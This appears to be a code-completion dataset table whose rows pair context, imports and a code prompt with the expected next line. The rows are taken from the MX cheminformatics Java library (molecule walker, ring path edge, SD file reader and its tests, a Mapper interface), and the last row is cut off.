repo_name stringlengths 7 104 | file_path stringlengths 13 198 | context stringlengths 67 7.15k | import_statement stringlengths 16 4.43k | code stringlengths 40 6.98k | prompt stringlengths 227 8.27k | next_line stringlengths 8 795 |
|---|---|---|---|---|---|---|
metamolecular/mx | src/com/metamolecular/mx/walk/DefaultWalker.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
| import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond; |
public void setMaximumDepth(int depth)
{
this.maximumDepth = depth;
}
public void walk(Atom atom, Reporter reporter)
{
Step step = new DefaultStep(atom);
reporter.walkStart(atom);
step(step, reporter);
reporter.walkEnd(atom);
}
public void step(Step step, Reporter reporter)
{
reporter.atomFound(step.getAtom());
if (abort(step))
{
return;
}
boolean inBranch = false;
while (true)
{
if (step.hasNextBond())
{ | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
// Path: src/com/metamolecular/mx/walk/DefaultWalker.java
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
public void setMaximumDepth(int depth)
{
this.maximumDepth = depth;
}
public void walk(Atom atom, Reporter reporter)
{
Step step = new DefaultStep(atom);
reporter.walkStart(atom);
step(step, reporter);
reporter.walkEnd(atom);
}
public void step(Step step, Reporter reporter)
{
reporter.atomFound(step.getAtom());
if (abort(step))
{
return;
}
boolean inBranch = false;
while (true)
{
if (step.hasNextBond())
{ | Bond bond = step.nextBond(); |
metamolecular/mx | src/com/metamolecular/mx/ring/PathEdge.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
| import com.metamolecular.mx.model.Atom;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.ring;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class PathEdge
{ | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
// Path: src/com/metamolecular/mx/ring/PathEdge.java
import com.metamolecular.mx.model.Atom;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.ring;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class PathEdge
{ | private List<Atom> atoms; |
metamolecular/mx | src/com/metamolecular/mx/test/SDFileReaderTest.java | // Path: src/com/metamolecular/mx/io/mdl/SDFileReader.java
// public class SDFileReader
// {
// private static String RECORD_END = "$$$$";
// private static String LINEFEED = "\n";
// private BufferedReader reader;
// private Reader file;
// private String record;
// private Pattern keyPattern;
// private Pattern molfilePattern;
// private Map<String, Pattern> keyPatterns;
//
// public SDFileReader(String filename) throws IOException
// {
// record = null;
// file = new FileReader(filename);
// reader = new BufferedReader(file);
// keyPattern = Pattern.compile("^> *?<(.*?)>", Pattern.MULTILINE);
// molfilePattern = Pattern.compile("^(.*M END)", Pattern.DOTALL);
// keyPatterns = new HashMap<String, Pattern>();
// }
//
// public void close()
// {
// try
// {
// file.close();
// }
// catch (IOException e)
// {
// throw new RuntimeException("Error closing file.", e);
// }
// }
//
// public boolean hasNextRecord()
// {
// try
// {
// return reader.ready();
// }
// catch (IOException ignore)
// {
// }
//
// return false;
// }
//
// public void nextRecord()
// {
// StringBuffer buff = new StringBuffer();
//
// try
// {
// String line = reader.readLine();
//
// while (!RECORD_END.equals(line))
// {
// buff.append(line + LINEFEED);
//
// line = reader.readLine();
// }
// }
// catch (IOException e)
// {
// throw new RuntimeException("An unexpected IO error occurred while reading file.", e);
// }
//
// record = buff.toString();
// }
//
// public String getData(String key)
// {
// assertRecordLoaded();
//
// Pattern pattern = keyPatterns.get(key);
//
// if (pattern == null)
// {
// pattern = Pattern.compile(".*^> *?<" + key + ">$(.*?)$^$.*", Pattern.MULTILINE | Pattern.DOTALL);
//
// keyPatterns.put(key, pattern);
// }
//
// Matcher matcher = pattern.matcher(record);
//
// return matcher.matches() ? matcher.group(1).trim() : "";
// }
//
// public Molecule getMolecule()
// {
// assertRecordLoaded();
//
// Matcher matcher = molfilePattern.matcher(record);
//
// matcher.find();
//
// String molfile = matcher.group(1);
//
// return MoleculeKit.readMolfile(molfile);
// }
//
// public Molecule getMolecule(boolean virtualizeHydrogens)
// {
// assertRecordLoaded();
//
// Matcher matcher = molfilePattern.matcher(record);
//
// matcher.find();
//
// String molfile = matcher.group(1);
//
// return MoleculeKit.readMolfile(molfile, virtualizeHydrogens);
// }
//
// public List<String> getKeys()
// {
// List<String> result = new ArrayList<String>();
// Matcher m = keyPattern.matcher(record);
//
// while (m.find())
// {
// result.add(m.group(1));
// }
//
// return result;
// }
//
// private void assertRecordLoaded()
// {
// if (record == null)
// {
// throw new IllegalStateException("No record has been loaded. Make sure you've called nextRecord() first.");
// }
// }
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
| import java.util.List;
import junit.framework.TestCase;
import com.metamolecular.mx.io.mdl.SDFileReader;
import com.metamolecular.mx.model.Molecule;
import java.io.IOException;
import java.util.Arrays; | reader.getMolecule();
fail();
}
catch (IllegalStateException e)
{
assertTrue(true);
}
}
public void testItShouldThrowIOExceptionWhenCreatedFromANonexistentFile()
{
try
{
new SDFileReader("bar.sdf");
fail();
}
catch (IOException ignore)
{
assertTrue(true);
}
}
public void testItShouldLoadAMoleculeForEveryRecord()
{
while (reader.hasNextRecord())
{
reader.nextRecord();
| // Path: src/com/metamolecular/mx/io/mdl/SDFileReader.java
// public class SDFileReader
// {
// private static String RECORD_END = "$$$$";
// private static String LINEFEED = "\n";
// private BufferedReader reader;
// private Reader file;
// private String record;
// private Pattern keyPattern;
// private Pattern molfilePattern;
// private Map<String, Pattern> keyPatterns;
//
// public SDFileReader(String filename) throws IOException
// {
// record = null;
// file = new FileReader(filename);
// reader = new BufferedReader(file);
// keyPattern = Pattern.compile("^> *?<(.*?)>", Pattern.MULTILINE);
// molfilePattern = Pattern.compile("^(.*M END)", Pattern.DOTALL);
// keyPatterns = new HashMap<String, Pattern>();
// }
//
// public void close()
// {
// try
// {
// file.close();
// }
// catch (IOException e)
// {
// throw new RuntimeException("Error closing file.", e);
// }
// }
//
// public boolean hasNextRecord()
// {
// try
// {
// return reader.ready();
// }
// catch (IOException ignore)
// {
// }
//
// return false;
// }
//
// public void nextRecord()
// {
// StringBuffer buff = new StringBuffer();
//
// try
// {
// String line = reader.readLine();
//
// while (!RECORD_END.equals(line))
// {
// buff.append(line + LINEFEED);
//
// line = reader.readLine();
// }
// }
// catch (IOException e)
// {
// throw new RuntimeException("An unexpected IO error occurred while reading file.", e);
// }
//
// record = buff.toString();
// }
//
// public String getData(String key)
// {
// assertRecordLoaded();
//
// Pattern pattern = keyPatterns.get(key);
//
// if (pattern == null)
// {
// pattern = Pattern.compile(".*^> *?<" + key + ">$(.*?)$^$.*", Pattern.MULTILINE | Pattern.DOTALL);
//
// keyPatterns.put(key, pattern);
// }
//
// Matcher matcher = pattern.matcher(record);
//
// return matcher.matches() ? matcher.group(1).trim() : "";
// }
//
// public Molecule getMolecule()
// {
// assertRecordLoaded();
//
// Matcher matcher = molfilePattern.matcher(record);
//
// matcher.find();
//
// String molfile = matcher.group(1);
//
// return MoleculeKit.readMolfile(molfile);
// }
//
// public Molecule getMolecule(boolean virtualizeHydrogens)
// {
// assertRecordLoaded();
//
// Matcher matcher = molfilePattern.matcher(record);
//
// matcher.find();
//
// String molfile = matcher.group(1);
//
// return MoleculeKit.readMolfile(molfile, virtualizeHydrogens);
// }
//
// public List<String> getKeys()
// {
// List<String> result = new ArrayList<String>();
// Matcher m = keyPattern.matcher(record);
//
// while (m.find())
// {
// result.add(m.group(1));
// }
//
// return result;
// }
//
// private void assertRecordLoaded()
// {
// if (record == null)
// {
// throw new IllegalStateException("No record has been loaded. Make sure you've called nextRecord() first.");
// }
// }
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
// Path: src/com/metamolecular/mx/test/SDFileReaderTest.java
import java.util.List;
import junit.framework.TestCase;
import com.metamolecular.mx.io.mdl.SDFileReader;
import com.metamolecular.mx.model.Molecule;
import java.io.IOException;
import java.util.Arrays;
reader.getMolecule();
fail();
}
catch (IllegalStateException e)
{
assertTrue(true);
}
}
public void testItShouldThrowIOExceptionWhenCreatedFromANonexistentFile()
{
try
{
new SDFileReader("bar.sdf");
fail();
}
catch (IOException ignore)
{
assertTrue(true);
}
}
public void testItShouldLoadAMoleculeForEveryRecord()
{
while (reader.hasNextRecord())
{
reader.nextRecord();
| Molecule molecule = reader.getMolecule(); |
metamolecular/mx | src/com/metamolecular/mx/map/Mapper.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
| import java.util.Map;
import com.metamolecular.mx.query.*;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import java.util.List; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.map;
/**
*
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public interface Mapper
{ | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
// Path: src/com/metamolecular/mx/map/Mapper.java
import java.util.Map;
import com.metamolecular.mx.query.*;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import java.util.List;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.map;
/**
*
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public interface Mapper
{ | public boolean hasMap(Molecule molecule); |
metamolecular/mx | src/com/metamolecular/mx/map/Mapper.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
| import java.util.Map;
import com.metamolecular.mx.query.*;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import java.util.List; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.map;
/**
*
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public interface Mapper
{
public boolean hasMap(Molecule molecule);
public int countMaps(Molecule target);
| // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
// Path: src/com/metamolecular/mx/map/Mapper.java
import java.util.Map;
import com.metamolecular.mx.query.*;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import java.util.List;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.map;
/**
*
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public interface Mapper
{
public boolean hasMap(Molecule molecule);
public int countMaps(Molecule target);
| public List<Map<Node, Atom>> getMaps(Molecule target); |
metamolecular/mx | src/com/metamolecular/mx/io/mdl/SDFileReader.java | // Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/MoleculeKit.java
// public class MoleculeKit
// {
// private static MolfileReader reader;
// private static MolfileWriter writer;
// private static VirtualHydrogenCounter hydrogenCounter;
// private static String hydrogen = "H";
// private static MassCalculator massCalculator;
//
// static
// {
// reader = new MolfileReader();
// writer = new MolfileWriter();
// massCalculator = new MassCalculator();
// hydrogenCounter = new VirtualHydrogenCounter();
// }
//
// /**
// *
// */
// private MoleculeKit()
// {
//
// }
//
// public static double getMass(Molecule molecule)
// {
// return massCalculator.findAveragedMass(molecule);
// }
//
// public static Molecule readMolfile(String molfile)
// {
// Molecule result = new DefaultMolecule();
//
// reader.read(result, molfile.replaceAll("\\\\n", "\n"));
//
// return result;
// }
//
